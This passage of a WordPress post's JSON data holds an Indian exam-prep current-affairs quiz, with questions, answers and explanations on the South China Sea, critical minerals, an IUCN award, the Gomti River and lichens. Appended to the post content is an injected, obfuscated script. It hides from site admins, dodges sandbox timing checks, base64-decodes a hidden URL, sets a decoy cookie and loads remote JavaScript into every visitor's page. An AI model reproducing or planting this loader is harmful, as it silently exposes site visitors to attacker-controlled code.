class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Answer: (c) Only three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>In NEWS: <\/strong>Philippines, China trade blames for vessels colliding in South China Sea as tensions soar<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>In the last few years, maritime East Asia has become an arena for intensified power politics. The East China Sea borders China, Taiwan, Japan, and South Korea.<\/li>\n\n\n\n<li>China asserts that the Senkaku\/ Diaoyu islands, located in the East China Sea and under Japanese control, belong to Beijing. <strong>Hence 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>There have been multiple crises over these islands in the past. The South China Sea lies between China, Taiwan and five Southeast Asian countries \u2014 Vietnam, Malaysia, Brunei, the Philippines, and Indonesia \u2014 and has emerged as one of the most important flashpoints in the Indo-Pacific.<\/li>\n\n\n\n<li>China has been aggressively pushing its claims in the South China Sea.<\/li>\n\n\n\n<li>China views the East and South China Seas through the prism of sovereignty, territorial integrity, and national security. China\u2019s Defence White paper, issued in 2019, declares, \u201cSouth China Sea islands and Diaoyu Islands are inalienable parts of the Chinese territory.\u201d<\/li>\n\n\n\n<li>In responding to the criticism regarding China\u2019s activities, it asserts that \u201cChina exercises its national sovereignty to build infrastructure and deploy necessary defensive capabilities on the islands and reefs in the South China Sea, and to conduct patrols in the waters of Diaoyu Islands in the East China Sea.\u201d<\/li>\n\n\n\n<li>What China perceives as its defensive actions are considered offensive and provocative by the regional countries surrounding theEast and South China Seas.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"561\" height=\"650\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-23.jpg\" alt=\"\" class=\"wp-image-2585\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-23.jpg 561w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-23-259x300.jpg 259w\" sizes=\"auto, (max-width: 561px) 100vw, 561px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><strong>Q. Consider the following countries:<\/strong> <br><br>1. Finland <br>2. Germany <br>3. Norway <br>4. Russia <br><br><strong>How many of the above countries have a border with the North Sea?<\/strong> <br><br>(a) Only one <br><strong>(b) Only two<\/strong> <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/international\/philippines-china-trade-blames-for-vessels-colliding-in-south-china-sea-as-tensions-soar\/article70154426.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/international\/philippines-china-trade-blames-for-vessels-colliding-in-south-china-sea-as-tensions-soar\/article70154426.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>7. With reference to the National Critical Mineral Stockpile (NCMS) in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">1. It is designed to ensure long-term availability of minerals critical to national security and economic growth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">2. The NCMS is designed to help India secure supply chains for minerals that are geopolitically sensitive and prone to supply disruptions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">3. Domestically mined minerals are only eligible to be stored in the stockpile.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>In NEWS: <\/strong>The National Critical Mineral Stockpile (NCMS) is a forthcoming strategic initiative by the Government of India aimed at securing the nation\u2019s supply of rare earth elements (REEs) and other critical minerals vital for emerging green technologies.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>The National Critical Mineral Stockpile (NCMS):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>The National Critical Mineral Stockpile (NCMS) is a proposed initiative by the Government of India aimed at ensuring the strategic availability of critical minerals essential for the country\u2019s economic and security interests. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The proposal was recommended in 2023 by the Ministry of Mines, under the Critical Minerals for India framework.<\/li>\n\n\n\n<li>The NCMS is designed to help India secure supply chains for minerals that are:<ul><li>Geopolitically sensitive<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Prone to supply disruptions <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Vital for sectors like renewable energy, electric vehicles, electronics, defense, and semiconductors<\/li>\n\n\n\n<li>Key critical minerals identified for stockpiling include:<ul><li>Lithium<\/li><\/ul><ul><li>Cobalt<\/li><\/ul><ul><li>Nickel<\/li><\/ul><ul><li>Graphite<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Rare Earth Elements (REEs)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Tungsten, among others.<\/li>\n\n\n\n<li>The stockpile would function as a strategic reserve, similar to the Strategic Petroleum Reserve (SPR) maintained for crude oil.<\/li>\n\n\n\n<li>It aims to:<ul><li>Reduce import dependency<\/li><\/ul><ul><li>Improve national resilience<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Support India\u2019s energy transition and Atmanirbhar Bharat (self-reliant India) goals<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The KABIL initiative (Khanij Bidesh India Ltd), a joint venture of three public sector undertakings, plays a key role in acquiring strategic minerals from abroad. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>NCMS is aligned with India\u2019s broader critical minerals strategy and is part of the vision to develop a critical minerals ecosystem domestically.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Consider the following statements:\u00a0<\/strong> <br><br>I. India has joined the Minerals \u015eecurity Partnership as a member.\u00a0 <br>II. India is a resource-rich country in all the 30 critical minerals that it has identified.\u00a0 <br>III. The Parliament in 2023 has amended the Mines and Minerals (Development and Regulation) Act, 1957 empowering the Central Government to exclusively auction mining lease and composite license for certain critical minerals.\u00a0\u00a0 <br><br><strong>Which of the statements given above are correct?\u00a0\u00a0<\/strong> <br><br>(a) I and II only <br>(b) II and III only <br><strong>(c) I and III only<\/strong> <br>(d) I, II and III<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/national-critical-mineral-stockpile-ncms\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/national-critical-mineral-stockpile-ncms\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>8. Consider the following statements with reference to the Kenton R. Miller Award:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">I. It is conferred by the United Nations Environment Programme (UNEP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">II. The award recognizes individuals for innovation in the sustainable management of protected areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">III. The award is presented annually during the UN Climate Change Conference (COP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Which of the statements given above are correct?\u00a0<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(a) I and II\u00a0\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(c) I and III\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">(d) III only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Answer: (b) II only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>In NEWS: <\/strong>Kaziranga Director becomes first Indian to receive IUCN award for innovation in national parks<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Kenton R. Miller Award:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-156\">\n<li><strong>Dr. Sonali Ghosh<\/strong>, the Field Director of Kaziranga National Park and Tiger Reserve in Assam, has become <strong>the first Indian to receive the Kenton R. Miller Award <\/strong>presented by the International Union for Conservation of Nature (IUCN).<\/li>\n\n\n\n<li>She received the award during the IUCN\u2019s World Conservation Congress held in Abu Dhabi on 10 October 2025.<\/li>\n\n\n\n<li>The Kenton R. Miller Award is a prestigious international recognition granted by the <strong>World Commission on Protected Areas (WCPA) of the International Union for Conservation of Nature (IUCN)<\/strong>. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>It honors individuals who have made exceptional innovations in the management and sustainability of protected areas such as national parks, wildlife reserves, and biosphere zones.<\/li>\n\n\n\n<li>The award is biennial (every two years), and it is typically presented during major IUCN conservation events, such as the World Conservation Congress. <strong>Hence statement III is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>Purpose of the Award:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">This award highlights and encourages creative approaches in the conservation and sustainable use of protected areas. <strong>Hence statement II is correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\"><strong>It seeks to:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-160\">\n<li>Recognize pioneering leadership and visionary thinking<\/li>\n\n\n\n<li>Encourage innovation in:<\/li>\n\n\n\n<li>Protected area planning<\/li>\n\n\n\n<li>Governance and community engagement<\/li>\n\n\n\n<li>Monitoring and evaluation<\/li>\n\n\n\n<li>Sustainable financing<\/li>\n\n\n\n<li>Biodiversity protection<\/li>\n\n\n\n<li>Inspire others in the global conservation community to adopt and adapt innovative models<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><strong>Q. Consider the following statements in respect of the Laureus World Sports Award which was instituted in the year 2000:<\/strong> <br><br>1. American golfer Tiger Woods was the first winner of this award. <br>2. The award was received mostly by \u2018Formula One\u2019 players so far. <br>3. Roger Federer received this award maximum number of times compared to others. <br><br><strong>Which of the above statements are correct?<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/kaziranga-director-becomes-first-indian-to-receive-iucn-award-for-innovation-in-national-parks\/article70154724.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/kaziranga-director-becomes-first-indian-to-receive-iucn-award-for-innovation-in-national-parks\/article70154724.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\"><strong>9. Which of the following rivers meet(s) the Gomti River before it joins the Ganga?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">1. Sai River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">2. Varuna River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">3. Kosi River<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>In NEWS: <\/strong>How UP govt plans to restore Gomti river to its \u2018clean, uninterrupted, and pristine\u2019 form<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Gomti River:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"457\" height=\"350\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-3.gif\" alt=\"\" class=\"wp-image-2584\"\/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>The <strong>Gomti River<\/strong> is a <strong>tributary of the Ganga River<\/strong>.<\/li>\n\n\n\n<li>It flows <strong>entirely within Uttar Pradesh<\/strong>, making it an <strong>intra-state river<\/strong>.<\/li>\n\n\n\n<li>The river has a total length of about <strong>940 kilometres<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-176 wp-block-paragraph\"><strong>Origin and Course<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-177\">\n<li>The Gomti originates from <strong>Gomat Taal (Fulhaar Jheel)<\/strong> near <strong>Pipri village<\/strong>, <strong>Madhotanda<\/strong>, in <strong>Pilibhit district<\/strong>, Uttar Pradesh.<\/li>\n\n\n\n<li>It flows through major districts such as <strong>Pilibhit, Shahjahanpur, Sitapur, Lucknow, Sultanpur, and Jaunpur<\/strong>.<\/li>\n\n\n\n<li>The river finally <strong>joins the Ganga River<\/strong> near <strong>Saidpur<\/strong>, <strong>Kaithi<\/strong>, in <strong>Ghazipur district<\/strong>, Uttar Pradesh.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Tributaries<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Major tributaries of the Gomti River include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-180\">\n<li><strong>Sai River<\/strong><\/li>\n\n\n\n<li><strong>Varuna River<\/strong><\/li>\n\n\n\n<li><strong>Kathina River<\/strong><\/li>\n\n\n\n<li><strong>Sarayan River<\/strong><\/li>\n\n\n\n<li><strong>Aril River<\/strong><\/li>\n\n\n\n<li><strong>Gaugauli River<\/strong><\/li>\n\n\n\n<li><strong>Bhainsi River<\/strong><\/li>\n\n\n\n<li>Among these, the <strong>Sai River<\/strong> is a significant right-bank tributary. <strong>Hence 1 and 2 are correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>Cities Located on its Banks<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-182\">\n<li>Important cities situated along the Gomti River are:<ul><li><strong>Lucknow<\/strong> (state capital)<\/li><\/ul><ul><li><strong>Sultanpur<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Jaunpur<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>These cities depend heavily on the river for <strong>water supply, agriculture, and urban development<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\"><strong>Geographical Characteristics<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-184\">\n<li>The Gomti flows through the <strong>middle Gangetic plain<\/strong>, characterized by <strong>alluvial fertile soil<\/strong>.<\/li>\n\n\n\n<li>It is <strong>seasonal in the upper reaches<\/strong>, with significant discharge during the <strong>monsoon season<\/strong>.<\/li>\n\n\n\n<li>The river supports agriculture in <strong>central and eastern Uttar Pradesh<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\"><strong>Environmental and Pollution Concerns<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-186\">\n<li>The river faces <strong>severe pollution<\/strong>, especially in <strong>Lucknow<\/strong>, due to <strong>industrial effluents, sewage, and encroachment<\/strong>.<\/li>\n\n\n\n<li><strong>Tannery and domestic waste<\/strong> are major contributors to water quality degradation.<\/li>\n\n\n\n<li>The <strong>Gomti Action Plan (GAP)<\/strong> was launched to <strong>restore and clean the river<\/strong> under the <strong>National River Conservation Plan (NRCP)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>Projects and Initiatives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-188\">\n<li><strong>Gomti Action Plan (GAP):<\/strong> Focused on cleaning and rejuvenating the river ecosystem.<\/li>\n\n\n\n<li><strong>Gomti Riverfront Development Project:<\/strong> Aimed at river beautification and pollution control in Lucknow.<\/li>\n\n\n\n<li>Both initiatives fall under <strong>State and Central pollution control frameworks<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Cultural and Religious Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-190\">\n<li>The Gomti River is considered <strong>sacred in Hindu tradition<\/strong>.<\/li>\n\n\n\n<li>It is mentioned in ancient scriptures such as the <strong>Skanda Purana<\/strong> and <strong>Ramayana<\/strong>.<\/li>\n\n\n\n<li>Pilgrims perform rituals and holy dips along its banks, especially in <strong>Jaunpur and Sultanpur<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Economic Importance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-192\">\n<li>The river supports <strong>irrigation, agriculture, and fisheries<\/strong> in Uttar Pradesh.<\/li>\n\n\n\n<li>Provides <strong>drinking water<\/strong> to urban centres like <strong>Lucknow<\/strong>.<\/li>\n\n\n\n<li>Plays a role in <strong>groundwater recharge<\/strong> and <strong>floodplain agriculture<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><strong>Q. With reference to the Himalayan rivers Joining the Ganga downstream of Prayagraj from West to East, which one of the following sequences is correct?<\/strong> <br><br>(a) Ghaghara \u2014 Gomati \u2014 Gandak \u2014 Kosi <br><strong>(b) Gomati \u2014 Ghaghara \u2014 Gandak &#8211; Kosi<\/strong> <br>(c) Ghaghara \u2014 Gomati \u2014 Kosi &#8211; Gandak <br>(d) Gomati \u2014 Ghaghara \u2014 Kosi &#8211; Gandak<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/cities\/lucknow\/cm-adityanath-launches-gomti-rejuvenation-mission-how-to-revive-gomti-urban-sewage-10303540\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/cities\/lucknow\/cm-adityanath-launches-gomti-rejuvenation-mission-how-to-revive-gomti-urban-sewage-10303540\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>10. In nature, which of the following is\/are most likely to be found surviving on a surface without soil?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\">1. Fern<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-196 wp-block-paragraph\">2. Lichen<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\">3. Moss<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">4. Mushroom<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">(a) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(d) 1, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>Answer: (c) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-206\">\n<li><strong>Ferns<\/strong> usually require moist, shaded environments with some soil or organic matter. They are not typically found on completely soil-less surfaces.<\/li>\n\n\n\n<li><strong>Lichens <\/strong>are pioneer species that <strong>grow directly on bare rocks, bark, walls, etc. <\/strong>They are symbiotic associations of fungi and algae or cyanobacteria, and they do not require soil.<\/li>\n\n\n\n<li><strong>Mosses <\/strong>can <strong>grow on rocks, tree bark, and moist surfaces, often without soil. <\/strong>They absorb water and nutrients directly from the air and rain.<\/li>\n\n\n\n<li><strong>Mushrooms <\/strong>are fungi that grow on decaying organic matter, usually found in soil, wood, or other decomposing substrates. While they don\u2019t need traditional soil, they require organic material, so they\u2019re not commonly found on truly soil-less surfaces like bare rock.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements: I. The inflation target in India is set by the Reserve Bank of India (RBI), [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":1359,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center 